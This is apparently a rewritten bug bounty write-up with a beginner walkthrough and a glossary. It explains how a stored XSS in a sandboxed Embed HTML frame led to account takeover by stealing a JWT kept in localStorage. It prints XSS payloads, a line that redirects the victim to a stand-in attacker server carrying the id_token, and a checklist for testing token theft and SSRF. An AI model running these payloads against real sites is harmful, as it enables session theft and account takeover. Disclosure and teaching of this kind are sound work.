Interesting Stored XSS in sandboxed environment to Full Account Takeover
A stored cross-site scripting vulnerability in an embed HTML feature allowed execution of JavaScript in a sandboxed iframe, but the sensitive JWT token was stored in localStorage, enabling an attacker to steal it and achieve full account takeover.
Published on varmaanu001.medium.com
In collaboration with TMG Security (tmgsec.com) we have successfully launched ADVANCED BUG BOUNTY HUNTING V1.0,its a live training program starting from 10th march 2023 ,you can checkout the provided link and description is provided in the website.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers a stored cross-site scripting issue in an application that offers an Embed HTML feature. The feature sits alongside an Embed URL option: a user can supply either a URL or raw HTML, and the application renders that content inside an embedded frame on the page. The researcher refers to the target generically as target.com.
The interesting part is not the injection itself but what happened afterwards. The application runs embedded content in a sandboxed environment, which blocked the usual proof-of-concept payloads. The cookies that were reachable from the injected context were non-sensitive, because the sensitive JWT tokens were marked HttpOnly. The report describes how the researcher moved from a low-severity finding to full account takeover by finding the same sensitive token in localStorage.
Setup
- Target: an application with an Embed URL and Embed HTML feature, referred to as
target.com. - Tools mentioned: ngrok, to serve payloads from an external origin, and Burp Collaborator, to confirm out-of-band interaction.
- Precondition: the attacker can place HTML into the Embed HTML feature, and a victim later views the page where that content is rendered.
- The sensitive cookies in this application are JWT tokens with
HttpOnlyset totrue.
Finding it
The starting point was the Embed HTML feature. The researcher first used the Embed URL option, serving payloads through ngrok, and also probed for SSRF by trying to fetch internal metadata such as EC2 metadata and localhost. That SSRF attempt did not succeed, so the focus moved to XSS.
Many payload types were tried, including SVG, XML and JavaScript, but only HTML was accepted, and the result was iframe injection that could not access the target's DOM. The researcher notes that document.domain showed the ngrok link rather than the target, meaning the payload ran in the context of ngrok and not the target application.
Simple payloads were then tried:
<script>alert(1)</script>,<script>confirm(1)</script>,print(1),prompt(1)
<img src=x onerror=prompt(1)>
The application refused to run them because of the sandboxing. The report shows a screenshot of the sandbox blocking these payloads.
Exploitation
Step 1: reach the DOM without alert-style functions
Since alert(), confirm(), print() and prompt() were blocked, the researcher changed the objective from popping a dialog to accessing the victim's DOM. A payload that simply reads the DOM was tried:
console.log(document.cookie)
This worked, and the researcher reported the issue. The team triaged it.
Step 2: understand the limit of the finding
The twist was that the main, sensitive cookies, which in this case are JWT tokens, were set with HttpOnly set to true. The cookies that were readable were only meta or non-sensitive cookies. Because of this, the company gave the issue a P4 priority, treating it as a low-severity issue.
Step 3: find the same token outside cookies
The researcher spent time looking for a way to chain the issue to full account takeover and found an additional flaw: the same sensitive token was stored in localStorage under the id_token parameter.
Step 4: exfiltrate the token
The researcher confirmed the exfiltration using Burp Collaborator and successfully hijacked the sensitive token from localStorage with a payload like:
document.location="https://attacker-server?victim_jwt_token"+document.localStorage.getItem("id_token")
The payload redirects the victim's browser to an attacker-controlled server and appends the value of the id_token entry from localStorage to the URL.
Step 5: escalate the report
With account takeover confirmed, the researcher added the new evidence as a comment on the previous report. The company reproduced the issue, updated the report and raised the severity to P2. The issue was then resolved.
Root cause
The application accepts user-supplied HTML in the Embed HTML feature and renders it in a context where injected script could read document.cookie, and later the id_token value from localStorage. The sandbox blocked dialog functions such as alert() and prompt(), but it did not prevent script from reading and exfiltrating data. HttpOnly protected the sensitive JWT cookies from document.cookie, but the same sensitive token was also written to localStorage, which JavaScript can always read.
Impact
An attacker who can place HTML in the Embed HTML feature and get a victim to view the rendered content can read the victim's localStorage and send the id_token value to a server they control. With that token, the attacker can take over the victim's account. The cookie-based path alone was limited to non-sensitive cookies because the sensitive JWT cookies were HttpOnly, and the company gave the issue P4; after the localStorage finding the severity was raised to P2.
Fix
The report states that the issue is resolved. It does not describe the specific code change that was made.
Variants to test
- Embed features that accept HTML. Submit benign HTML with a script that reads
document.cookieandlocalStorage, and check whether the output runs in the target's origin or in a separate one. - Sandboxed frames that block dialogs. If
alert()andprompt()are blocked, try data-access payloads such asconsole.log(document.cookie)or a fetch to a Collaborator URL. A positive result is a request arriving at the Collaborator with data from the page. - Tokens in
localStorage. After confirming script execution, enumeratelocalStoragekeys such asid_token,access_tokenor similar. A positive result is a sensitive token readable from script and exfiltratable through a redirect or fetch. - URL embed features. Test whether the URL embed option fetches internal resources such as cloud metadata endpoints or localhost. A positive result is content from an internal address appearing in the embedded frame.
- Origin checks on embedded content. Compare
document.domaininside the embedded frame with the target's domain. A positive result is the target's domain rather than the payload host, meaning the payload runs in the target's context.
What happened, in plain words
A security researcher found a way to make a website run code that the researcher supplied, inside a page that other people would later visit. That kind of bug is called cross-site scripting, or XSS for short. The website had a feature that let a user embed their own HTML (the language web pages are written in) into a page. The site tried to protect itself by running that embedded content in a sandbox, which is a restricted box that is supposed to stop embedded content from doing anything dangerous. The sandbox blocked the usual tricks, such as making a pop-up box appear, but a payload that read document.cookie still worked.
The researcher first managed to read the victim's cookies (small pieces of data a site stores in your browser, often used to keep you logged in). That alone was not very serious, because the important cookies were marked HttpOnly, a setting that hides them from JavaScript. The company rated the bug low (P4). The researcher kept looking and found that the same important login token was also stored in localStorage, another place in the browser where a site can keep data. JavaScript can always read localStorage, so the researcher could steal the token and take over the victim's account. The company then raised the severity to P2, and the report states the issue is resolved.
This article walks through the same steps for someone who has never done security testing before. Every technical word is explained the first time it appears, and there is a glossary at the end.
Background: the feature and the ideas behind it
The Embed feature
The target is an application that the researcher calls target.com. It offers two ways to put content into a page:
- Embed URL: you give the site a web address, and the site shows whatever is at that address inside a frame on the page.
- Embed HTML: you give the site raw HTML, and the site renders that HTML inside a frame on the page.
A frame (often an iframe) is a small window inside a web page that shows another page or another piece of content. Think of it as a picture-in-picture window on a TV: it sits inside the main screen but shows something different.
The Embed HTML option is the interesting one, because it lets a user put their own HTML into a page. The report describes the issue as stored XSS.
What a sandbox is
A sandbox is an isolated environment used to run something suspicious and watch what it does, without letting it harm the real system. The researcher quotes a definition and a reference from Google's sandbox programme. In a browser, a sandbox is usually an attribute on a frame that restricts what the content inside can do: it can block pop-ups, block form submission, block navigation, and so on. The point is to contain the content.
A useful everyday comparison: a sandbox is like a playpen. A child inside can play with the toys in the pen, but cannot wander into the rest of the house. The bug in this report is that the playpen still allowed the child to read document.cookie.
What cookies and tokens are
A cookie is a small piece of text that a website asks your browser to store and send back on every request to that site. Cookies are how most sites remember that you are logged in. A token is a string that proves who you are, similar to a wristband at an event: show it and you are let in. A JWT (JSON Web Token) is a particular format of token, made of three parts separated by dots, that carries information about the user and is signed so the server can check it has not been tampered with.
A cookie can carry a flag called HttpOnly. When a cookie is HttpOnly, JavaScript running on the page cannot read it. This is a defence: even if an attacker manages to run script on the page, that script cannot read the HttpOnly cookie. The browser still sends the cookie to the server automatically, but document.cookie (the JavaScript way to read cookies) will not show it.
What localStorage is
localStorage is a storage area built into every browser. A website can save key/value pairs there, and they stay until the site or the user deletes them. Unlike an HttpOnly cookie, localStorage has no protection flag: any JavaScript running on the page can read every value in it. If a sensitive token is kept in localStorage, then any script that runs on the page can steal it.
What SSRF is
SSRF stands for Server-Side Request Forgery. It means tricking a server into making a request to a place the attacker cannot reach directly, such as an internal address. A common target is the cloud metadata endpoint, a special internal address (for example on Amazon EC2) that returns information about the server, sometimes including credentials. localhost is the name a machine uses for itself; if a server can be made to fetch localhost, it may reach services that are only listening internally. The researcher tried this through the Embed URL feature but did not succeed, so the focus moved to XSS.
What the tools are
- ngrok is a service that gives your own computer a public web address, so you can serve a page or payload from your machine and have someone else's browser reach it over the internet.
- Burp Collaborator is a service that gives you a unique address and tells you when something on the internet contacts it. It is used to confirm that a payload really caused an outbound request, even when you cannot see the result directly in the browser.
Setup
- Target: an application with an Embed URL and an Embed HTML feature, referred to as
target.com. - Tools: ngrok, to serve payloads from an external origin, and Burp Collaborator, to confirm out-of-band interaction (a request that leaves the victim's browser and arrives somewhere the researcher controls).
- Precondition: the attacker can put HTML into the Embed HTML feature, and a victim later views the page where that content is shown.
- Sensitive data: the sensitive cookies in this application are JWT tokens with
HttpOnlyset totrue.
Finding it
The starting point was the Embed HTML feature. The researcher first used the Embed URL option, serving payloads through ngrok, and also probed for SSRF by trying to fetch internal metadata such as EC2 metadata and localhost. That SSRF attempt did not succeed, so the focus moved to XSS.
Why try the URL option first? Because it is the simpler input: you give a URL, the server fetches it. If the server fetches internal addresses, you have SSRF. It did not work here, so the researcher turned to the HTML option, where the site takes your HTML directly.
Many payload types were tried, including SVG, XML and JavaScript, but only HTML was accepted, and the result was iframe injection that could not access the target's DOM. The DOM (Document Object Model) is the browser's in-memory model of the page: every element, every attribute, and the data the page can reach, including cookies and storage. If your injected code runs in a different origin from the target, it sees a different DOM, not the target's.
The researcher notes that document.domain showed the ngrok link rather than the target. document.domain is a property that tells you which domain the running script belongs to. Seeing the ngrok address means the payload ran in the context of ngrok, not the target application. In everyday terms: the code was running in a neighbouring house, not in the target's house, so it could not open the target's drawers.
Simple payloads were then tried:
<script>alert(1)</script>,<script>confirm(1)</script>,print(1),prompt(1)
<img src=x onerror=prompt(1)>
Line by line:
<script>alert(1)</script>asks the browser to run JavaScript that shows a pop-up with the number 1. It is the classic, simplest proof that script execution is possible.<script>confirm(1)</script>does the same with a confirmation dialog (OK/Cancel).print(1)asks the browser to open the print dialog.prompt(1)asks the browser to show an input box.<img src=x onerror=prompt(1)>creates an image whose source (x) does not exist. When the image fails to load, theonerrorhandler runs, which callsprompt(1). This is a common way to run script without a<script>tag.
The application refused to run them because of the sandboxing. The report shows a screenshot of the sandbox blocking these payloads. In other words, the playpen blocked the loud toys (pop-ups) but, as the next step shows, not the quiet ones (reading data).
Exploitation
Step 1: reach the DOM without alert-style functions
Since alert(), confirm(), print() and prompt() were blocked, the researcher changed the objective from popping a dialog to accessing the victim's DOM. A payload that simply reads the DOM was tried:
console.log(document.cookie)
Line by line:
documentis the browser's object for the current page..cookieis the property that returns the cookies the page is allowed to see.console.log(...)prints the value to the browser's developer console, a panel where developers see messages and errors.
Why this step? Because the goal of XSS is not to show a pop-up; the pop-up is only a visible proof. The real goal is to read or act on the victim's data. If the sandbox blocks dialogs but not data access, then console.log(document.cookie) is a quieter proof that still demonstrates the bug. It worked, and the researcher reported the issue. The team triaged it (reviewed and accepted it as a valid report).
Step 2: understand the limit of the finding
The twist was that the main, sensitive cookies, which in this case are JWT tokens, were set with HttpOnly set to true. The cookies that were readable were only meta or non-sensitive cookies. Because of this, the company gave the issue a P4 priority, treating it as a low-severity issue.
Why does HttpOnly matter here? Because document.cookie simply does not return HttpOnly cookies. The script could read something, but not the thing that would let an attacker log in as the victim. A P4 is the lowest severity band in many bug bounty programmes: a real bug, but with limited impact. The researcher now had a choice: accept the low rating, or find another path to the same sensitive token.
Step 3: find the same token outside cookies
The researcher spent time looking for a way to chain the issue to full account takeover and found an additional flaw: the same sensitive token was stored in localStorage under the id_token parameter.
Why is this a big deal? Because localStorage has no HttpOnly equivalent. Any JavaScript running on the page can read every key in it. The sensitive token was HttpOnly in the cookie, but the same token was also stored in localStorage, which JavaScript can read.
Step 4: exfiltrate the token
The researcher confirmed the exfiltration using Burp Collaborator and successfully hijacked the sensitive token from localStorage with a payload like:
document.location="https://attacker-server?victim_jwt_token"+document.localStorage.getItem("id_token")
Line by line:
document.locationis the address of the current page. Assigning to it tells the browser to navigate somewhere else."https://attacker-server?victim_jwt_token"is the destination, a server the attacker controls. The part after?is the query string, a place to put data in a URL.+joins strings together.document.localStorage.getItem("id_token")reads the value stored under the keyid_tokenin localStorage.
So the whole line sends the victim's browser to the attacker's server, with the stolen token appended to the address. The attacker then reads the token from their own server logs. The payload redirects the victim's browser to an attacker-controlled server and appends the value of the id_token entry from localStorage to the URL, so the token arrives in the request to the attacker's server.
The data travels in the URL. The researcher confirmed the exfiltration using Burp Collaborator.
Step 5: escalate the report
With account takeover confirmed, the researcher added the new evidence as a comment on the previous report. The company reproduced the issue, updated the report and raised the severity to P2. The issue was then resolved.
Why comment on the old report instead of opening a new one? Because it is the same underlying bug, now with a stronger impact. The company could see the chain: HTML injection, sandbox bypass for data access, HttpOnly bypass via localStorage, token theft, account takeover. The severity was raised from P4 to P2.
Root cause
The application accepts user-supplied HTML in the Embed HTML feature and renders it in a context where injected script could read document.cookie, and later the id_token value from localStorage. The sandbox blocked dialog functions such as alert() and prompt(), but it did not prevent script from reading and exfiltrating data. HttpOnly protected the sensitive JWT cookies from document.cookie, but the same sensitive token was also written to localStorage, which JavaScript can always read. The combination of an HTML injection sink and a token stored in a script-readable location is what turned a low-severity finding into account takeover.
In plain terms: the site let users write HTML into a page, the sandbox only muted the noisy parts, and the login token was kept in a place any script could read. Each defence covered one hole but not the other.
Impact
An attacker who can place HTML in the Embed HTML feature and get a victim to view the rendered content can read the victim's localStorage and send the id_token value to a server they control. With that token, the attacker can take over the victim's account. The cookie-based path alone was limited to non-sensitive cookies because the sensitive JWT cookies were HttpOnly, and the company gave the issue P4; after the localStorage finding the severity was raised to P2.
Fix
The report states that the issue is resolved. It does not describe the specific code change that was made.
Variants to test
These are the same checks, written so a beginner can follow them:
- Embed features that accept HTML. Submit harmless HTML with a script that reads
document.cookieandlocalStorage, and check whether the output runs in the target's origin or in a separate one. A positive result is script executing with access to the target's DOM. - Sandboxed frames that block dialogs. If
alert()andprompt()are blocked, try data-access payloads such asconsole.log(document.cookie)or a fetch to a Collaborator URL. A positive result is a request arriving at the Collaborator with data from the page. - Tokens in
localStorage. After confirming script execution, list the keys inlocalStorage, such asid_token,access_tokenor similar. A positive result is a sensitive token readable from script and exfiltratable through a redirect or fetch. - URL embed features. Test whether the URL embed option fetches internal resources such as cloud metadata endpoints or localhost. A positive result is content from an internal address appearing in the embedded frame.
- Origin checks on embedded content. Compare
document.domaininside the embedded frame with the target's domain. A positive result is the target's domain rather than the payload host, meaning the payload runs in the target's context.
Glossary
- Account takeover: a situation where an attacker gains control of another person's account, usually by stealing a login token or password.
- API: a defined way for one piece of software to talk to another; here, the site's own features that accept and render user content.
- Burp Collaborator: a service that provides a unique address and reports when something contacts it, used to confirm out-of-band requests.
- Cloud metadata endpoint: an internal address on a cloud server that returns information about that server, sometimes including credentials.
- Cookie: a small piece of data a website stores in your browser and receives back on later requests, often used to keep you logged in.
- Cross-site scripting (XSS): a bug where an attacker gets their own code to run in another user's browser on a website's page.
- DOM (Document Object Model): the browser's in-memory model of a page, including its elements and the data the page can reach.
document.cookie: the JavaScript property that returns the cookies the page is allowed to read.document.domain: a property that tells you which domain the running script belongs to.document.location: the address of the current page; assigning to it navigates the browser elsewhere.- EC2: Amazon's cloud computing service; its metadata endpoint is a common SSRF target.
- Exfiltration: getting stolen data out of the victim's browser to a place the attacker controls.
- Frame (iframe): a small window inside a web page that shows another page or piece of content.
- HTML: the language web pages are written in.
- HttpOnly: a cookie flag that hides the cookie from JavaScript, so
document.cookiecannot read it. - iframe injection: getting your own frame or content into a page through an input that was not properly cleaned.
- JavaScript: the programming language browsers run to make pages interactive.
- JWT (JSON Web Token): a signed token format used to prove who a user is.
- localStorage: a browser storage area where a site can keep key/value data; any JavaScript on the page can read it.
- localhost: the name a machine uses to refer to itself.
- ngrok: a service that gives your own computer a public web address.
- Origin: the combination of scheme, host and port that identifies where content comes from; content from one origin cannot normally read another origin's data.
- Out-of-band interaction: a request that leaves the victim's browser and arrives at a server the researcher controls, used as proof.
- P2 / P4: severity bands in a bug bounty programme; P4 is low, P2 is high.
- Payload: the piece of code or input an attacker sends to trigger a bug.
- Sandbox: a restricted environment that limits what content inside it can do.
- SSRF (Server-Side Request Forgery): tricking a server into making a request to a place the attacker cannot reach directly.
- Stored XSS: XSS where the malicious content is saved by the site and shown to later visitors.
- SVG / XML: text-based formats for images and structured data; sometimes accepted where HTML is filtered.
- Token: a string that proves who you are, like a wristband at an event.
- Triaged: reviewed and accepted as a valid report by the receiving team.